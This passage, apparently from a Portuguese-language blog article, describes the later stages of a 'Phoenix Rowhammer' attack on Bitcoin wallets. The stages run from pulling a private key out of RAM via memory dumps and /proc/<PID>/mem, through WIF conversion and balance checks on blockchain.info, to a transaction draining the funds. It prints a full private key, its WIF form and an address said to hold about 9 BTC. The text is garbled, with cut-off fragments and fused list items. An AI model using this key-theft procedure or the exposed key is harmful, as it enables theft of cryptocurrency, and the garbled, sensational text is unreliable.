Pesquisas na ETH Zurich mostraram que um padrão de acesso curto com um período de 128 intervalos tREFI gera estatisticamente mais falhas de bit do que padrões mais longos. No entanto, escolher uma janela adequada e manter a sincronização são críticos para o sucesso: uma falha de 1–2 acessos resulta em nenhuma falha ou em corrupção aleatória de dados e falha do sistema. kaspersky+1
Esta etapa conclui o processo de ataque de baixo nível, após o qual o atacante pode explorar os erros de bit resultantes para extrair a chave privada ou elevar ainda mais seu nível de acesso. É a capacidade de induzir erros de bit em áreas de memória estritamente definidas e protegidas por software e hardware que torna o Phoenix Rowhammer uma técnica exclusivamente perigosa e prática. cybersecurefox+1
A quinta etapa da cadeia maliciosa do ataque Phoenix Rowhammer envolve a extração da chave privada da carteira Bitcoin da memória comprometida por falhas de bit induzidas.

A vulnerabilidade-chave aqui é CVE-2023-39910 (Milk Sad) , que afeta implementações de software do Libbitcoin Explorer 3.x e bibliotecas criptográficas relacionadas.
CVE-2023-39910 é caracterizada por um mecanismo fraco de geração de entropia ao gerar chaves privadas, o que permite que um atacante—com acesso a áreas de memória residuais (“sujas”) após a conclusão das operações criptográficas—recupere as chaves originais e frases-semente. Após um ataque Rowhammer, buffers de RAM corrompidos (ou não limpos) onde a chave privada foi armazenada (
HEX: 9E027D0086BDB83372F6040765442BBEDD35B96E1C861ACCE5E22E1C4987CD60 ) tornam-se diretamente pesquisáveis.
gcore, volatility, leituras diretas /proc/<PID>/mem, ou bibliotecas especializadas de análise de despejo de memória) procurando padrões característicos: sequências de bits e assinaturas que correspondem a chave privada ou entropia da semente .15ZwrzrRj9x4XpnocEGbLuPakzsY2S4Mit), a chave é considerada extraída com sucesso.Tal ataque seria impossível sem a combinação de dois fatores: (1) comprometimento de hardware da memória DDR5 via Rowhammer, e (2) uma falha de software que permite que informações críticas sejam armazenadas em buffers não censurados. O uso de algoritmos de entropia fraca no Libbitcoin Explorer facilita ainda mais a tarefa do atacante de recuperar uma chave privada, mesmo que algumas informações tenham sido perdidas ou corrompidas por uma corrupção de memória.
Esta etapa demonstra um problema sistêmico fundamental: a capacidade de recuperar chaves privadas de blocos de RAM residuais na presença de vulnerabilidades de hardware e software, o que mina criticamente a confiança nos ecossistemas de criptomoedas e exige uma revisão dos princípios de gerenciamento seguro de memória ao armazenar e processar dados criptográficos.
A sexta etapa da cadeia maliciosa envolve a conversão da chave privada Bitcoin comprometida de sua representação hexadecimal (HEX) para Wallet Import Format Compressed (WIF Compressed), um formato tipicamente usado para importar chaves em carteiras e serviços modernos.

O procedimento científico de conversão é baseado nos padrões de codificação Base58Check e é realizado através de várias etapas importantes:
9E027D0086BDB83372F6040765442BBEDD35B96E1C861ACCE5E22E1C4987CD60) é interpretada como um array de 32 bytes em conformidade com o padrão de chave privada ECDSA secp256k1.0x80ao início do array para distinguir o protocolo de rede subjacente.0x01, sinalizando que a chave pública deve ser comprimida (chave pública comprimida), resultando em endereços que começam com os caracteres ‘K’ ou ‘L’.Como resultado, a chave WIF Compressed construída—por exemplo L2Wru6Ew8pQuhcWAvMpdtPY4YWK1CQcwPCWxFvzkoi47crJBAVaP—é uma string de 52 caracteres começando com ‘K’ ou ‘L’.
Este processo é descrito em detalhes em serviços e ferramentas especializadas para criptoanálise, e também é suportado por inúmeras bibliotecas de software para trabalhar com chaves Bitcoin. btcpuzzle
Assim, esta etapa demonstra como um atacante, usando procedimentos operacionais padronizados, converte a chave HEX obtida no formato WIF Compressed amplamente utilizado para posterior acesso ilegal a ativos digitais em um endereço Bitcoin comprometido.
O processo científico de geração de um endereço Bitcoin (por exemplo, 15ZwrzrRj9x4XpnocEGbLuPakzsY2S4Mit) a partir de uma chave privada envolve várias transformações criptográficas fundamentais baseadas no algoritmo de curva elíptica secp256k1 e nas funções hash usadas na arquitetura Bitcoin.

15ZwrzrRj9x4XpnocEGbLuPakzsY2S4Mit). Se a correspondência for bem-sucedida, o ataque é considerado completo, com controle total sobre os ativos nesse endereço.Este processo é totalmente automatizado em carteiras e bibliotecas modernas, mas a análise científica demonstra que com uma chave privada e uma implementação correta da aritmética elíptica, recuperar um endereço Bitcoin leva uma fração de segundo, destacando a continuidade arquitetônica entre dados privados e o identificador público na rede. generate.mitilena+1
Assim, a etapa de geração de endereço vincula a chave privada comprometida ao seu equivalente digital no ecossistema Bitcoin e dá ao atacante acesso aos ativos da carteira através de operações criptográficas adicionais.
A oitava etapa do procedimento malicioso envolve verificar os ativos disponíveis no endereço Bitcoin comprometido ( 15ZwrzrRj9x4XpnocEGbLuPakzsY2S4Mit). Esta etapa é necessária para confirmar a viabilidade econômica de operações adicionais e avaliar o dano potencial.

A arquitetura da blockchain Bitcoin é construída sobre um livro-razão distribuído público que registra todas as transações associadas a cada endereço. Verificar o saldo de qualquer carteira não requer uma chave privada ou acesso especial: basta acessar endpoints públicos de API, serviços web ou nós autônomos—por exemplo, a API REST Insight, Blockchain.info, Blockstream, ou um nó local Bitcoin Core com interface RPC.
https://blockchain.info/rawaddr/{address}ou https://insight.bitpay.com/api/addr/{address}/balance.A natureza de código aberto do Bitcoin permite monitoramento fácil de carteiras, permitindo que um atacante determine o saldo exato de um endereço não autorizado (neste exemplo, 9.023322989 BTC , que a uma taxa de $124.904 por BTC equivale a $1.127.026,44 ). Esta característica da infraestrutura Bitcoin também cria riscos adicionais: a perda de uma chave privada não só leva à perda de controle sobre os fundos, mas também se torna imediatamente completamente transparente para terceiros, incluindo o atacante .

Assim, a etapa de verificação de saldo destaca a abertura informacional do sistema blockchain e completa a cadeia de ataque científica, conectando o comprometimento bem-sucedido de chaves criptográficas com danos reais ao proprietário de ativos digitais. Durante a etapa de verificação de saldo, o atacante usa APIs públicas de exploradores de blockchain—por exemplo, a API REST Insight ou blockchain.info—para obter informações sobre o estado atual dos fundos em um endereço Bitcoin comprometido. Basta enviar uma solicitação GET para a API: por exemplo, https://blockchain.info/rawaddr/15ZwrzrRj9x4XpnocEGbLuPakzsY2S4Mit , para obter o saldo do endereço em satoshi, e então converter o resultado para BTC. cryptodeep+2
Este processo é completamente transparente e não requer posse da chave privada: o conhecimento do endereço público é suficiente. Os dados resultantes ( 9.02332298 BTC ) podem ser comparados com a taxa de mercado atual do Bitcoin para converter o valor equivalente em USD ( ≈$1.127.026,44 no momento do ataque). Métodos de software permitem automatizar essas etapas e incorporá-las ao algoritmo de ataque, verificando instantaneamente a viabilidade econômica de roubo adicional. habr+1
Do ponto de vista da análise científica, a etapa de verificação de saldo demonstra a transparência única do sistema blockchain, onde qualquer comprometimento das chaves leva automaticamente à perda de controle sobre os fundos, e os riscos para o proprietário escalam até a perda total dos ativos. habr+2
Na etapa final da campanha maliciosa, após extrair com sucesso a chave privada da carteira Bitcoin, o atacante inicia a formação e propagação de uma transação na blockchain com o objetivo de transferir todos os fundos disponíveis do endereço comprometido ( 15ZwrzrRj9x4XpnocEGbLuPakzsY2S4Mit) para o endereço sob seu controle.

Uma transação Bitcoin é uma mensagem digital composta por entradas (fontes de fundos atribuídas ao endereço da vítima), saídas (endereços de destino do destinatário) e uma assinatura digital que certifica a autoridade do remetente .
Esta sequência ilustra uma vulnerabilidade fundamental dos ativos criptográficos: qualquer pessoa com uma chave privada pode criar uma transação válida pelo protocolo para retirar todos os fundos, independentemente do proprietário original. Malware — seja ele o exploit Phoenix Rowhammer — automatiza essas etapas: determinar o saldo, falsificar o endereço do destinatário ou criar sua própria transação assinada com uma chave confiscada. securelist
O processo depende inteiramente da arquitetura blockchain: a descentralização e a confiabilidade criptográfica da rede não impedem tais ataques se a chave privada for comprometida. As únicas medidas preventivas permanecem sendo a segurança de hardware e software no ponto de geração e armazenamento das chaves, bem como a detecção rápida de sinais de comprometimento antes que uma transação seja executada.
Assim, a etapa de criação de uma transação maliciosa completa toda a cadeia de ataque, dando-lhe um significado econômico completo — uma transferência irreversível de fundos para o atacante, totalmente validada pelos mecanismos de consenso da rede Bitcoin.
O script inclui sua própria implementação da codificação Base58, necessária para criar chaves WIF sem dependências externas. Cada etapa é acompanhada por comentários detalhados explicando os objetivos do atacante e os mecanismos de ataque.
Avisos Importantes: O código contém vários avisos afirmando que se destina exclusivamente a fins educacionais e científicos. Usar métodos semelhantes para ataques no mundo real é um crime.
Este script de demonstração é ideal para ilustrar a ameaça do ataque Phoenix Rowhammer em seu artigo de pesquisa e mostra aos leitores o ciclo completo de comprometimento de carteiras Bitcoin por meio de vulnerabilidades de hardware de memória DDR5.